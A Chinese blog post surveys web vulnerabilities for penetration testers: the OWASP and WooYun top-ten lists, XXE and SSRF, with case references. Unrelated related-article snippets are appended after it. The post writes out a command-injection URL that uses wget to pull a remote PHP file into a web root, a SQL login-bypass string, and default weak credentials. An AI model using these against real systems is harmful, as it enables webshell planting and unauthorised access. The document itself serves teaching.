渗透测试必知必会—Web漏洞

0x00前言

  本文为对WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待

  0x01 目录

  0x00 前言

  0x01 目录

  0x02 OWASP TOP10 简单介绍

  0x03 乌云TOP 10 简单介绍

  0x04 非主流的WEB漏洞

  0x02 OWASP TOP10 简单介绍

  除了OWASP的TOP10,Web安全漏洞还有很多很多,在做测试和加固系统时也不能老盯着TOP10,实际上是TOP10中的那少数几个

  直接说2013的:

  A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常见,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于现在自动化工具非常多,通常都是找到注入点后直接交给以sqlmap为代表的工具

  命令注入相对来说出现得较少,形式可以是:

  https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;

  也可以查看案例:极路由云插件安装shell命令注入漏洞 ,未对用户输入做任何校验,因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行

  直接搜索LDAP注入案例,简单尝试下并没有找到,关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例,但是重要的LDAP信息 泄露还是挺多的,截至目前,乌云上搜关键词LDAP有81条记录。

  PHP对象注入:偶然看到有PHP对象注入这种漏洞,OWASP上对其的解释为:依赖于上下文的应用层漏洞,可以让攻击者实施多种恶意攻击,如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为:1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击,或开始一个"POP chain";2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明,或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。

  在查找资料时,看到了PHP 依赖注入,原本以为是和安全相关的,结果发现:依赖注入是对于要求更易维护,更易测试,更加模块化的代码的解决方案。果然不同的视角,对同一个词的理解相差挺多的。

  A2: 失效的身份认证及会话管理,乍看身份认证觉得是和输入密码有关的,实际上还有会话id泄露等情况,注意力集中在口令安全上:

  案例1:空口令

  乌云:国内cisco系列交换机空密码登入大集合

  乌云:UC某服务器可空口令访问数据库

  案例2:弱口令

  乌云:盛大某站后台存在简单弱口令可登录  admin/admin

  乌云:电信某省客服系统弱口令泄漏各种信息 .../123456

  乌云:中国建筑股份有限公司OA系统tomcat弱口令导致沦陷  tomcat/tomcat

  案例3:万能密码

  乌云:移动号码上户系统存在过滤不严  admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)

  弱口令案例实在不一而足

  在乌云一些弱口令如下:其中出镜次数最高的是:admin/admin, admin/123456



 如果要继续深究下去或者取得更多数据进行分析的话,结局就会如猪猪侠总结的那样:

  当然会话存在的安全问题也是需要考虑的,可以是令牌、token被窃取,尤其当会话没有设置生命周期时很容易出现会话/身份被劫持

  会话管理问题可以是用户A登陆了某个地址,但是没有注销(奇葩情况是注销无效),直接退出了浏览器又没有清除cookie,如果说这时候有B借用A的电脑,他直接以A的身份登陆该地址是没有问题的,这不是服务端的问题。但假设之后A都没有访问改地址,而是把电脑合上待机了,第二天如果B借用他的电脑直接登陆了该地址,则责任在于服务端的会话管理不当,没有设置超时时间。除此之外,还有会话重放、会话信息泄露等问题。说到会话信息泄露,不禁想起将sessionid放在URL中的情形,鄙人暂未遇到直接利用这个可以窃取会话的,但不排除其可能

  A3: 跨站脚本(XSS),最普遍的漏洞,曾被认为是鸡肋漏洞,事实证明有时候危害很大的,窃取cookie,构造蠕虫不一而足。XSS的技术体现在Javascript功底上,现在很多网站都有针对XSS的过滤器,J2EE可以使用全局过滤器,但是过滤器基本都是使用黑名单设防,是有可能绕过的,回应了技术体现在Javascript功底上。跨站脚本还有flash类型的,由于相比之下出现得比较少,浏览器和过滤器的防御精力不在这上面,如果出现可能更容易成功。值得一提的是,对于XSS,现在的扫描工具都会将其标识为高危漏洞,实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性,误报率会比较高。还有就是常规扫描器只能识别反射型XSS,反射型XSS本身危害是比较小的,存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的,因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS,则要看具体业务和数据是否会受影响,用户交互程度越高,利用难度就越大,如果能弹框证实漏洞存在,但很难被触发或者就算窃取到cookie也无法登陆,很难说明是高风险安全问题,但还是有修复和改进的必要。

  A4: 不安全的直接对象引用,访问控制不当的问题,常见为越权操作(横向+纵向),譬如:遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作,最激动人心的是可以进行刷钱等操作。越权问题并不高深,相比SQL注入和XSS技术难度还要低一点,因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单,当用户需要访问某资源或进行操作时,服务器端取出来访用户的session值,判断是否具有访问或操作权限。

  在访问控制操作中,我们可以设定某一资源或文件A可以访问、B不能访问,但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限,作为一个会话属性,属于自己的才可以操作或访问,具体情况具体讨论。

  案例1:水平越权

  乌云:虎扑某功能存在水平越权

  案例2: 垂直越权

  乌云:中国电信某系统管理员WEB界面越权访问

  A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=>运维不当,直接看运维不当的

  知乎专栏:运维安全(...)

  乌云知识库:从乌云看运维安全那点事儿

  引用一下知识库的内容,问题有:

  struts漏洞

  Web服务器未及时打补丁,有解析漏洞

  PHP-CGI RCE

  FCK编辑器

  server-status信息泄露

  网站备份文件放在web目录,可被下载

  列目录导致可看到敏感数据并查看

  snmp信息泄露

  weblogic弱口令

  SVN信息泄露

  域传送漏洞

  Rsync

  hadoop对外

  nagios信息泄露

  ftp弱口令或支持匿名访问导致信息泄露

  RTX泄露信息

  Ganglia信息泄露

  j2ee应用架构开始占主流,典型的web服务器搭配配置失误

  Jenkins平台没有设置登录验证

  zabbix

  zenoss监控系统

  Resin文件读取

  memcache未限制访问IP

  JBoss问题

  测试服务器外网可访问

  padding oracle attack

  用户名密码放在服务器上……

  A8: 跨站请求伪造(CSRF)

  CSRF曾被称为沉睡的巨人,以前拿来举例时都是说Alice给Bob转钱,结果morry插了一脚,钱就跑到morry家去了。危害可大可小,直接通过URL增删改操作的也还有,更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了,也曾看到过直接get root的案例

案例:万达电影主站 xss + csrf

  A10: 无效的重定向

  控制重定向可以钓鱼,可以获取敏感文件的信息,在struts2中也有开放重定向的命令执行

  0x03 乌云TOP 10 简单介绍

  上述就是OWASP TOP10的WEB漏洞,乌云出了一个更加符合中国国情的 乌云:Top10 for 2014,看着也是触目惊心

  A1-互联网泄密事件/撞库攻击

  本质上来说是使用了不安全的口令,也许我可以将自己的密码设置的很复杂,别人破解不出来。但对于撞库攻击而言,可以说是不怕神一样的对手,就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码,而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了,强密码+不同的密码,当然密码多了也难以记住,不行就借助软件或者普通账号用同一个密码,重要账号用不同密码吧

  A2-引用不安全的第三方应用

  举的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也还数见不鲜,其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的

  A3-系统错误/逻辑缺陷带来的暴力猜解

  暴力破解:没对请求和错误次数做限制;重放攻击同样是没做检验或限制

  A4-敏感信息/配置信息泄露

  包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方

  A5-应用错误配置/默认配置

  包括但不限于默认路径、默认口令、目录穿越、任意文件下载等

  A6-SQL注入漏洞

  A7-XSS跨站脚本攻击/CSRF

  A8-未授权访问/权限绕过

  可匿名访问\判断referer值后免登陆

  A9-账户体系控制不严/越权操作

  A10-内部重要资料/文档外泄

  还是信息泄露,但是做了区分,不同于应用或服务器的信息泄露,专指内部信息泄露哟

  0x04 非主流的WEB漏洞

  实际上,如果要挖漏洞或者做测试,从乌云上找案例会比较方便,除了常见的几类代码层面的问题,更多的是配置不当方面的,最终归结到信息安全链上最脆弱的还是人本身

  除了上面提到的这些,其实还有很多的漏洞啊,跟设备有关系的就先不说了,再提一下两个看起来不错的:XXE、SSRF(or XSPA)

  XXE:XML外部实体注入,不仅仅是敏感信息泄露,腾讯安全中心:XXE漏洞攻防

  案例:

  1. 乌云:百度某功能XML实体注入

  2. 乌云:139邮箱XXE漏洞可读取文件

  3. 乌云:从开源中国的某XXE漏洞到主站shell

  SSRF(服务端请求伪造): 据说用这招可以成功多次进入阿里、腾讯、百度等的内网,没爆出来的估计很多被用作杀器了

  案例:

  1. 乌云:百度贴吧SSRF

  2. 乌云:新浪SSRF

  3. 乌云:阿里巴巴SSRF

  上面几个案例有的是分享功能,有的是其他功能,共同点在于都是跟的url参数,且没做限制,导致内网信息泄露

  (未完...)

最新内容请见作者的GitHub页:http://qaseven.github.io/

时间: 2024-12-30 18:29:51

渗透测试必知必会—Web漏洞的相关文章

【web必知必会】—— 图解HTTP(下)

原文:[web必知必会]-- 图解HTTP(下) 上一篇<图解HTTP 上>总结了HTTP的报文格式,发送方式,以及HTTP的一些使用. 本文再总结以下内容: 1 http状态码 2 http报文首部中的各字段 3 http中的身份验证 通过上篇粗略的描述,大体了解了http首部的概念. 其实请求报文与响应报文长得差不多,区别就在于请求报文与响应报文有一个各自的报文首部,和一个请求行和状态行. 可以看到,差别就在于 请求行中指定的是HTTP版本和请求的方式(GET\POST等). 状态行中指定

【web必知必会】——图解HTTP(上)

原文:[web必知必会]--图解HTTP(上) 本篇总结关于http的相关知识,主要内容参考如下导图: 主要讲解的内容有: 1 URL与URI的区别. 2 请求报文与相应报文的内容. 3 GET与POST的区别. 4 http的cookie.持久化.管道化.多部分对象集合.范围请求等 后续会更新http其他的相关知识. 关键词概念 平时会经常接触到URL,他就是我们访问web的一个字符串地址,那么URI是什么呢?他们是什么关系呢? 先看看官方的解释: URL:uniform resource l

【web必知必会】—— DOM:四个常用的方法

终于开始复习DOM的知识了,这一阵忙乎论文,基本都没好好看技术的书. 记得去年实习的时候,才开始真正的接触前端,发现原来JS可以使用的如此灵活. 说起DOM就不得不提起javascript的组成了,javascript是由三部分组成的: 1 ECMAScript 2 BOM 3 DOM 最开始,网页是由HTML这种静态的标签语言组成的,后来为了丰富网页,引入了Script脚本语言. 但由于浏览器厂商太多,每个厂商都使用自己的语言,导致script的语言种类繁多,最终由Netscape和sun对S

Python 程序员必知必会的开发者工具

Python已经演化出了一个广泛的生态系统,该生态系统能够让Python程序员的生活变得更加简单,减少他们重复造轮的工作.同样的理念也适用于工具开发者的工作,即便他们开发出的工具并没有出现在最终的程序中.本文将介绍Python程序员必知必会的开发者工具. 对于开发者来说,最实用的帮助莫过于帮助他们编写代码文档了.pydoc模块可以根据源代码中的docstrings为任何可导入模块生成格式良好的文档.Python包含了两个测试框架来自动测试代码以及验证代码的正确性:1)doctest模块,该模块可

《Oracle PL/SQL必知必会》——第2章 初识Oracle和PL/SQL 2.1 什么是Oracle

第2章 初识Oracle和PL/SQL Oracle PL/SQL必知必会 在本章中,你将认识Oracle和PL/SQL是什么,以及你可以使用什么工具来操作它们. 2.1 什么是Oracle 在前一章中,你学习了数据库和SQL.如所解释的那样,做所有工作(存储.检索.管理和操作数据)的实际上是数据库软件(DBMS或数据库管理系统[Database Management System]).Oracle DBMS(或者简称为Oracle)就是一个DBMS:也就是说,它是数据库软件. Oracle已经

经典的20道AJAX面试题(必知必会)

1.什么是AJAX,为什么要使用Ajax(请谈一下你对Ajax的认识) 什么是ajax: AJAX是"Asynchronous JavaScript and XML"的缩写.他是指一种创建交互式网页应用的网页开发技术. Ajax包含下列技术: 基于web标准(standards-basedpresentation)XHTML+CSS的表示: 使用 DOM(Document ObjectModel)进行动态显示及交互: 使用 XML 和 XSLT 进行数据交换及相关操作: 使用 XMLH

.NET程序员项目开发必知必会—Dev环境中的集成测试用例执行时上下文环境检查(实战)

Microsoft.NET 解决方案,项目开发必知必会. 从这篇文章开始我将分享一系列我认为在实际工作中很有必要的一些.NET项目开发的核心技术点,所以我称为必知必会.尽管这一系列是使用.NET/C#来展现,但是同样适用于其他类似的OO技术平台,这些技术点可能称不上完整的技术,但是它是经验的总结,是掉过多少坑之后的觉醒,所以有必要花几分钟时间记住它,在真实的项目开发中你就知道是多么的有帮助.好了,废话不说了,进入主题. 我们在开发服务时为了调试方便会在本地进行一个基本的模块测试,你也可以认为是集

MySQL必知必会之10-14

10.创建计算字段 计算字段并不实际存在于数据库表中.计算字段是运行时在你SELECT语句内创建的. 字段(filed):基本上与列的意思相同,经常互换使用,不过数据库列一般称为列,而术语字段通常用在计算字段的连接上. 10.1拼接字段 拼接:将值联结到一起构成单个值. Concat()函数:多数DBMS使用+或||实现拼接,而MYSQL使用Concat()函数实现. Rtrim()函数:去掉值右边的所有空格 mysql> SELECT CONCAT(RTrim(vend_name),' (',

MySQL必知必会之15-20

15.联结表 SQL最强大的功能之一就是能在数据检索查询的执行中联结表.联结是利用SQL的SELECT能执行的最重要的操作. 关系表的设计是要保证把信息分解成多个表,一类数据一个表,各表通过一定的关系互相关联. 外键:外键为某个表的一列,它包含另一个表的主键值,定义了两个表之间的关系. 可伸缩性:能够适应不断增加的工作量而不失败. 15.1 联结 联结是一种机制,用来在一条select语句中关联表,因此称之为联结.使用特殊的语法,可以联结多个表返回一组输出,联结在运行时关联表中正确的行. 15.

Visual Studio 使用及调试必知必会

原文:Visual Studio 使用及调试必知必会   一:C# CODING 技巧 1:TODO 然后 CTRL + W + T,打开任务列表,选中 Comments,就会显示所有待做的任务 2:打开所在的文件夹 右键单击任何一个文件选项卡, 选择"打开所在的文件夹",或在 Solution Explorer 的文件上面点右键: 3:比对同一个文件 鼠标向下拖动红框内的图标. 4:按意愿编程 我把它定义为:按意愿编程,即,在写代码过程中,如果觉得需要使用到一个新类,可以先不用创建这